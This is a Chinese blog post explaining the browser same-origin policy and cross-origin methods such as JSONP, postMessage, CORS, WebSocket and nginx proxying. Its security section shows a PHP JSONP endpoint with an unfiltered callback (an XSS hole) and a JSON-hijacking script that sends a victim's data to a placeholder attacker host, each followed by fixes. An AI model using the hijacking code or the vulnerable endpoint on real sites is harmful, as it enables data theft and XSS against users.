【跨域】理解跨域及相关解决方案

写这篇一是为复习,二来是有个良好的总结。对于知识点的理解总是一知半解,不深入,这篇希望在此基础上不断深化加深印象和理解。

什么是跨域

A cross-domain solution (CDS) is a means of information assurance that provides the ability to manually or automatically access or transfer between two or more differing security domains.

解决两个安全域之间的信息传递,这个就叫做CDS——跨域解决方案。跨域是指一个域下的文档或脚本试图去请求另一个域下的资源,这里跨域是广义的。

为什么需要跨域

浏览器有同源策略限制。

同源策略/SOP(Same origin policy)是一种约定,由Netscape公司1995年引入浏览器,它是浏览器最核心也最基本的安全功能,如果缺少了同源策略,浏览器很容易受到XSS、CSFR等攻击。所谓同源是指”协议+域名+端口”三者相同,即便两个不同的域名指向同一个ip地址,也非同源。

这是一个用于隔离潜在恶意文件的重要安全机制。同源策略限制了从同一个源加载的文档或脚本如何与来自另一个源的资源进行交互。

我们要知道协议、域名和端口一致就是同源的就好。这里有点不直观,举例来看好了,以下列出了常见的跨域场景:

URL 说明 是否允许通信
http://www.domain.com/a.js
http://www.domain.com/b.js
http://www.domain.com/lab/c.js
同一域名,不同文件或路径 允许
http://www.domain.com:8000/a.js
http://www.domain.com/b.js
同一域名,不同端口 不允许
http://www.domain.com/a.js
https://www.domain.com/b.js
同一域名,不同协议 不允许
http://www.domain.com/a.js
http://192.168.4.12/b.js
域名和域名对应相同ip 不允许
http://www.domain.com/a.js
http://192.168.4.12/b.js
域名和域名对应相同ip 不允许
http://www.domain.com/a.js
http://x.domain.com/b.js
http://domain.com/c.js
主域相同,子域不同 不允许
http://www.domain1.com/a.js
http://www.domain2.com/b.js
不同域名 不允许

data:URLs获得一个新的,空的安全上下文。

在页面中用 about:blank 或 javascript: URL 执行的脚本会继承打开该 URL 的文档的源,因为这些类型的 URLs 没有明确包含有关原始服务器的信息。

避免同源限制

同源网页的Cookie才能共享,但是两个网页一级域名相同,只是二级域名不同,浏览器允许通过设置document.domain共享cookie

该方法只适用于Cookie和iframe窗口。 localStorage和IndexDB无法通过这种方法规避,而要使用PostMessage API

另外,服务器也可以在设置cookie时,指定cookie所属域名为一级域名

Set-Cookie: key=value; domain=.example.com; path=/

这样的话,二级域名和三级域名不用做任何设置,都可以读取这个Cookie

iframe

如果两个网页不同源,就无法拿到对方的DOM,典型例子是iframe窗口和window.open方法打开的窗口,它们与父窗口无法通信。

如果两个窗口一级域名相同,只是二级域名不同,那么设置上一节介绍的document.domain属性,就可以规避同源政策,拿到DOM。

对于完全不同源的网站,目前有三种方法,可以解决跨域窗口的通信问题。

  • 片段识别符 fragment identifier
  • window.name
  • 跨文档通信API Cross-document messaging
  1. 片段识别符

片段识别符指的是 url的#号后面部分,如果只是改变片段标识符,页面不会重新刷新。父窗口可以把信息,写入子窗口的片段标识符。

1
2
3
4
5
6
7
8
9
var src = originURL + '#' + data
document.getElementById('myIframe').src = src

// 子窗口通过监听hashchange事件得到通知
window.onhashchange = checkMessage
function checkMessage() {
var message = window.location.hash
// ...
}

同样子窗口也可以改变父窗口的片段标识符

parent.location.href = target + '#' + hash
  1. window.name

浏览器窗口有window.name属性。这个属性最大特点是,无论是否同源,只要是在同一个窗口里,前一个网页设置里这个属性,后一个网页可以读取它。

父窗口先打开一个子窗口,载入一个不同源的页面,该页面将信息写入window.name属性

window.name = data

接着,子窗口跳回一个与主窗口同域的网址

location = 'http://parent.url.com/xxx.html'

然后,主窗口就可以读取子窗口的window.name了

var data = document.getElementById('myFrame').contentWindow.name

该方法的优点是,window.name容量很大,可以放置很长的字符串;缺点是必须监听子窗口window.name属性的变化,影响网页性能。

document.domain

通过修改document的domain属性,我们可以在域和子域或者不同的子域之间通信。同域策略认为域和子域隶属于不同的域,比如www.a.com和sub.a.com是不同的域,这时,我们无法在www.a.com下的页面中调用sub.a.com中定义的JavaScript方法。但是当我们把它们document的domain属性都修改为a.com,浏览器就会认为它们处于同一个域下,那么我们就可以互相调用对方的method来通信了。

  1. window.postMessage

上两种都属于抖机灵操作,HTML为解决该问题,引入了一个全新的API,跨文档通信API Cross-document messaging

该API为window对象新增了一个window.postMessage方法,允许跨窗口通信,无论这两个窗口是否同源

举例来说,父窗口http://aaa.com向子窗口http://bbb.com发消息,调用postMessage方法就可以了。

1
2
var popup = window.open('http://bbb.com', title)
popup.postMessage('hello world', 'http://bbb.com')

postMessage方法的第一个参数是具体的信息内容,第二个参数是接受消息的窗口的源origin,即协议+域名+端口。也可以设为*,表示不限制域名,向所有窗口发送。

子窗口向父窗口发送消息的写法类似:

widnow.opener.postMessage('Nice to see you', 'http://aaa.com')

父窗口和子窗口都可以通过message事件,监听对方的消息。

1
2
3
window.addEventListener('message', function(e) {
console.log(e.data)
}, false)

server proxy

在数据提供方没有提供对JSONP协议或者window.name协议的支持,也没有对其它域开放访问权限时,我们可以通过server proxy的方式来抓取数据。

例如当www.a.com域下的页面需要请求www.b.com下的资源文件asset.txt时,直接发送一个指向www.b.com/asset.txt的Ajax请求肯定是会被浏览器阻止。这时,我们在www.a.com下配一个代理,然后把Ajax请求绑定到这个代理路径下,例如www.a.com/proxy/, 然后这个代理发送HTTP请求访问www.b.com下的asset.txt,跨域的HTTP请求是在服务器端进行的,客户端并没有产生跨域的Ajax请求。这个跨域方式不需要和目标资源签订协议,带有侵略性,另外需要注意的是实践中应该对这个代理实施一定程度的保护,比如限制他人使用或者使用频率。

Ajax跨域

JSONP

JSONP是服务器与客户端跨源通信的常用方法。最大特点就是简单适用,老实浏览器全部支持,服务器改造小。

它的基本思想是,网页通过添加一个script标签,向服务器请求json数据,这种做法不受同源策略限制;服务器接受请求后,将数据放在一个指定名字的回调里传回来

首先,网页动态插入script元素,由它向跨源网址发出请求

1
2
3
4
5
6
7
8
9
10
11
12
13
function addScriptTag(src) {
var script = document.createElmement('script')
script.src = src
document.body.appendChild(script)
}

window.onload = function() {
addScriptTag('http://example.com/ip=0.0.0.0?callback=foo')
}

function foo(data) {
console.log('your public IP address is: ' + data.ip)
}

由于script元素请求的脚本, 直接作为代码运行。这时,只要浏览器定义了foo函数,该函数就会立即调用。作为参数的JSON数据被视为js对象,而不是字符串,因此避免了使用JSON.parse的步骤

WebSocket

WebSocket是一种通信协议,使用ws:// (非加密) 和 wss:// (加密) 作为协议前缀。该协议不实行同源限制,只要服务器支持,就可以使用它进行跨源通信。

WebSocket protocol是HTML5一种新的协议。它实现了浏览器与服务器全双工通信,同时允许跨域通讯,是server push技术的一种很好的实现。

我们来看下例子,下面是前端部分代码:(原生WebSocket API使用起来不太方便,我们使用Socket.io)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<div>
<label>user: </label>
<input type="text" id="text" />
</div>
<script src="./socket.io.js"></script>
<script>
let socket = io('http://www.domain2.com:8080')
// 连接成功处理
socket.on('connect', function() {
// 监听服务端消息
socket.on('message', msg => {
console.log('data from server: ' + msg)
})
})
document.getElementById('text').onblur = function() {
socket.send(this.value)
}
</script>

node.js socket 部分实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const http = require('http')
const socket = require('socket.io')
// 启http服务
const server = http.createServer((req, res) => {
res.writeHead(200, {
'Content-Type': 'text/html'
})
res.end()
})
server.listen(8080)
console.log('server is running at port 8080')
// 监听socket连接
socket.listen(server).on('connection', client => {
// 接受消息
client.on('message', msg => {
client.send('hello: ' + msg)
console.log('data from client: ' + msg)
})
// 断开处理
client.on('disconnect', () => {
console.log('client socket has closed.')
})
})

下例是浏览器发出的WebSocket请求的头信息

1
2
3
4
5
6
7
8
GET /chat HTTP /1.1
Host: server.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-key: x3JJHMbDL1EzLkh9GBhXDw==
Sec-WebSocket-Protocol: chat, superchat
Sec-WebSocket-Version: 13
Origin: http://example.com

上面代码中,有一个字段是Origin,表示该请求的请求源(origin),即发自哪个域名。

正是因为有了Origin这个字段,所以WebSocket才没有实行同源政策。因为服务器可以根据这个字段,判断是否许可本次通信。如果该域名在白名单内,服务器就会做出如下回应。

1
2
3
4
5
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: HSmrc0sMlYUkAGmm5OPpG2HaGWk=
Sec-WebSocket-Protocol: chat

CORS

CORS是一个W3C标准,全称是”跨域资源共享” Cross Origin Resource Share,它允许浏览器向跨源服务器,发出XMLHttpRequest请求,从而克服了AJAX只能同源使用的限制。

实现CORS通信的关键是服务端,只要服务端实现了CORS接口,就可以跨源通信

具体看软一峰老师这篇就好跨域资源共享 CORS 详解

CORS目前是跨域的主流解决方案,相比JSONP更为强大。JSONP只支持GET请求,而CORS支持所有类型的HTTP请求。但是JSONP有优势在于兼容性,所以还是需要根据场景来决定是否使用该方案。

nginx代理跨域

nginx配置解决iconfont跨域

浏览器跨域访问JS、CSS、img等常规静态资源被同源策略许可,但iconfont字体文件例外,此时可在nginx的静态资源服务器中加入以下配置

1
2
3
location / {
add_header Access-Control-Allow-Origin: *;
}

nginx反向代理跨域接口

跨域原理:同源策略是浏览器的安全策略,不是HTTP协议的一部分。服务器端调用HTTP接口只是使用HTTP协议,不会执行JS脚本,不需要同源策略也就不存在跨域问题了。

实现思路:通过nginx配置一个代理服务器(域名与domain1相同,端口不同)做桥接,反向代理访问domain2接口,并且可顺便修改cookie中domain信息,方便当前域cookie写入,实现跨域登录。下面是具体配置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# proxy服务器
server {
listen 81;
server_name www.domain1.com;

location / {
proxy_pass http://www.domain2.com:8080; # 反向代理
proxy_cookie_domain www.domain2.com www.domain1.com; # 修改cookie里域名
index index.html index.htm;
# 当用webpack-dev-server等中间件代理接口访问nginx时,此时无浏览器参与
# 所以没有同源限制,下面的跨域配置可不启用
add_header Access-Control-Allow-Origin http://www.domain1.com; # 当前端只跨域不带cookie时,可为 *
add_header Access-Control-Allow-Credentails true;
}
}

前端代码:

1
2
3
4
5
6
let xhr = new XMLHttpRequest()
// 前端开关,浏览器是否读写cookie
xhr.withCredentails = true
// 访问nginx中的代理服务器
xhr.open('get', 'http://www.domain1.com:81/?user=admin', true)
xhr.send()

node.js后台示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const http = require('http')
const server = http.createServer()
const qs = require('querystring')

server.on('request', (req, res) => {
let params = qs.parse(req.url.substring(2))
// 向前台写cookie
res.writeHead(200, {
'Set-Cookie': 'l=a123456;Path=/;Domain=www.domain2.com;HttpOnly'
// 设置HttpOnly 前端无法通过document.cookie读取
})
res.write(JSON.stringify(params))
res.end()
})
server.listen(8080)
console.log('server is running at port 8080')

常见安全问题及思考

JSONP导致的安全问题

我们知道,一切用户输入都是“有害”的。传入callback值会在结果里面直接返回。因此,如果该参数过滤不严格,会导致XSS

  1. Callback可自定义导致的安全问题

当输出 JSON 时,没有严格定义好 Content-Type( Content-Type: application/json )然后加上 callback 这个输出点没有进行过滤直接导致了一个典型的 XSS 漏洞。例如:

1
2
3
4
5
6
<script>
function test(v){
alert(v.name);
}
</script>
<script src="http://0.0.0.0/1.php?callback=test"></script>
1
2
3
4
<?php
$callback = $_GET['callback']
print $callback.'({ "id": "1", "name": "vincent" });';
?>

对于这种漏洞,主要修复手段:

  • 严格定义 Content-Type: application/json
  • 过滤callback以及JSON数据输出(针对输出结果进行转码处理)
  1. json劫持

json劫持属于CSRF的范畴。攻击者可以在自己的站点中写入一条访问JSON的JS,在用户cookie未过期的情况下,JSON中会返回敏感的用户信息,然后攻击者可以获取到数据,并发送到自己的站点

敏感数据获取程序如下:

1
2
3
4
5
6
7
8
9
10
<script>
function test(data) {
// alert(v.name)
var xhr = new XMLHttpRequest()
var url = 'http://0.0.0.0/' + JSON.stringify(data)
xhr.open('GET', url, true)
xhr.send()
}
</script>
<script src="http://x.x.x.x/1.php?callback=test"></script>

需要注意的是Content-TypeX-Content-Type-Options头,如果在API请求的响应标头中,X-Content-Type-Options设置为nosniff,则必须将Content-Type设置为 JS(text/javascript、application/javascript, text/ecmascript)来在所有浏览器上生效。这是因为通过在响应中包含回调,响应不再是JSON,而是JavaScript

若配置

header('Content-type: application/json; chartset=utf-8')
header('X-Content-Type-Options: nosniff')

console输入如下:

Refused to execute script from 'http://10.59.0.248/1.php?callback=test' because its MIME type ('application/json') is not executable, and strict MIME type checking is enabled.

常见的修复方案:

  1. Referer正则匹配

常见的有Referer匹配正则编写错误导致正则绕过。(一般情况下浏览器直接访问某URL是不带Referer的,所以很多防御部署是允许空Referer的)

  1. 添加Token
  2. 放弃使用jsonp跨域获取数据,使用CORS或PostMessage

CORS的安全性问题

重点参考这篇

MDN HTTP访问控制(CORS)

AJAX请求真的不安全么?谈谈Web安全与AJAX的关系

Access-Control-Allow-Origin就是一个允许请求的域白名单,只有是这个域里有的,服务器才会统一跨域请求,如果合理的设置白名单,反而可以避免CSRF攻击。

设置成*的一般是公共的API,为了避免被频繁请求或DDOS,一般会多出密钥验证的步骤,并且限制请求频率和次数。

参考文章

Author: Fridolph
Link: http://blog.fridolph.wang/2018/07/07/【跨域】理解跨域及相关解决方案/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.